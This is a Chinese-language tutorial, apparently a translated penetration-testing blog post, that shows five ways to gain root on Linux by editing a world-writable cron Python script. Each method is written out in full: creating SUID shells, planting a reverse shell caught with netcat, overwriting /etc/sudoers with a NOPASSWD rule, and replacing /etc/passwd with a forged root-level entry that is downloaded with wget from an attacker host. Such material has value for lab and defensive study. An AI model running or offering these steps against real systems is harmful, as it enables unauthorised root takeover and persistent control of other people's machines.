在Linux上通過可寫文件獲取Root權(quán)限的多種方式
在Linux中,一切都可以看做文件,包括所有允許/禁止讀寫執(zhí)行權(quán)限的目錄和設(shè)備。當(dāng)管理員為任何文件設(shè)置權(quán)限時(shí),都應(yīng)清楚并合理為每個(gè)Linux用戶分配應(yīng)有的讀寫執(zhí)行權(quán)限。在本文中我將為大家展示,如何利用Linux中具有寫入權(quán)限的文件/腳本來進(jìn)行提權(quán)操作。好了,話不多說。下面就進(jìn)入我們的正題吧!
首先,我們來啟動(dòng)我們的攻擊機(jī)并滲透進(jìn)目標(biāo)系統(tǒng)直至提權(quán)階段。這里假設(shè)我通過ssh成功登錄到了受害者機(jī)器,并訪問了非root用戶的終端。通過以下命令,我們可以枚舉所有具有可寫權(quán)限的二進(jìn)制文件。
- find / -writable -type f 2>/dev/null | grep -v "/proc/"
可以看到在/lib/log路徑下有一個(gè)python文件,我們進(jìn)入到該目錄并查看該文件的權(quán)限為777

通過cat命令查看該文件內(nèi)容,這是管理員添加的一個(gè)用來清除 /tmp中的所有垃圾文件的腳本,具體執(zhí)行取決于管理員設(shè)置的定時(shí)間隔。獲取了這些信息后,攻擊者可以通過以下方式來執(zhí)行提權(quán)操作。

方法1
我們復(fù)制了/bin/sh到/tmp下并為/tmp/sh啟用了SUID。使用編輯器打開sanitizer.py并將 “rm -r /tmp/*” 中的內(nèi)容替換為以下兩行:
- os.system('cp /bin/sh /tmp/sh')
- os.system('chmod u+s /tmp/sh')
一段時(shí)間后,它將在/tmp目錄內(nèi)創(chuàng)建一個(gè)具有SUID權(quán)限的sh文件,當(dāng)你運(yùn)行它時(shí),你將會(huì)獲取root訪問權(quán)限。
- cd /tmp
- ls
- ./sh
- id
- whoami
下圖可以說明一切!

方法2
同樣,你也可以將 “rm -r /tmp/*” 替換為以下內(nèi)容:
- os.system(‘chmod u+s /bin/dash)
一段時(shí)間后,它將為/bin/dash設(shè)置SUID權(quán)限,并且在運(yùn)行時(shí)會(huì)給予root訪問權(quán)限。
- /bin/dash
- id
- whoami
如下圖所示:

方法3
在這種方法中,我們?cè)?rm -r /tmp/* 的位置粘貼了python反向shell連接代碼,并在新的終端中啟動(dòng)了netcat偵聽。

如上所述,經(jīng)過一段時(shí)間后,我們通過netcat獲取了具有root訪問權(quán)限的反向shell。
- nc -lvp 1234
- id
- whoami
如下圖所示:

方法4
這個(gè)方法挺有意思的,在下圖中大家可以看到我當(dāng)前的用戶是沒有執(zhí)行sudo命令的權(quán)限的。那我們就想辦法讓自己成為suoders文件成員。

同樣,我們將 “rm -r /tmp/*” 替換為以下內(nèi)容:
- os.system('echo "wernerbrandes ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers')
過一段時(shí)間后,當(dāng)你輸入“sudo -l”命令時(shí),你會(huì)注意到,它已成為了sudo用戶的成員。此時(shí)我們只要輸入“sudo bash”就可以獲取root訪問權(quán)限。
- sudo -l
- sudo bash
- id
方法5
我們知道passwd在任何類linux的系統(tǒng)中都扮演著非常重要的角色,一旦攻擊者有機(jī)會(huì)可以修改此文件,那么它將會(huì)成為一種特權(quán)提升的動(dòng)態(tài)方式。
同樣,我們也不會(huì)忽視這一點(diǎn),使用cat命令讀取etc/passwd文件。
在這里你可以觀察到用戶名為nemo記錄的高亮條目,根據(jù)我的猜測(cè)UID:1000 & GID:1000表示它應(yīng)該是管理員組的成員。
但我們的目標(biāo)是通過編輯nemo記錄,使其成為root組的成員。因此,我們選擇并復(fù)制etc/passwd文件內(nèi)的所有記錄,然后將它粘貼到一個(gè)空的文本文件中。

然后在一個(gè)新的終端中使用openssl生成一個(gè)加鹽密碼并復(fù)制。
- openssl passwd -1 -salt abc 123
現(xiàn)在將上面復(fù)制的加鹽密碼粘貼至用戶nemo記錄條目中的“X”處,并且將UID&GID更改為0,如圖所示。操作完成后,將文本文件保存為“passwd”,將該文件傳輸至目標(biāo)系統(tǒng),它將覆蓋原始passwd文件的內(nèi)容。
- cd Desktop
- python -m SimpleHTTPServer 80
同樣,將 “rm -r /tmp/*” 替換為以下內(nèi)容:
- os.system(‘chmod u+s /bin/cp)
一段時(shí)間后,它會(huì)啟用/bin/cp的SUID位以復(fù)制任意文件。

現(xiàn)在將被你修改過的passwd文件下載至目標(biāo)系統(tǒng)的/tmp目錄中。讓我們來檢查一下/bin/cp是否啟用了SUID位,然后使用cp命令將修改的passwd文件復(fù)制到/etc/passwd中,這將覆蓋原始passwd文件的內(nèi)容。
- cd /tmp
- wget http://192.168.1.103/passwd
- ls -al /bin/cp
- cp passwd /etc/passwd
現(xiàn)在,我們鍵入以下命令查看修改內(nèi)容是否已在passwd文件中生效。
- tail /etc/passwd
可以看到修改內(nèi)容已成功寫入!

執(zhí)行以下命令獲取root訪問權(quán)限:
- su nemo
- password 123
- whoami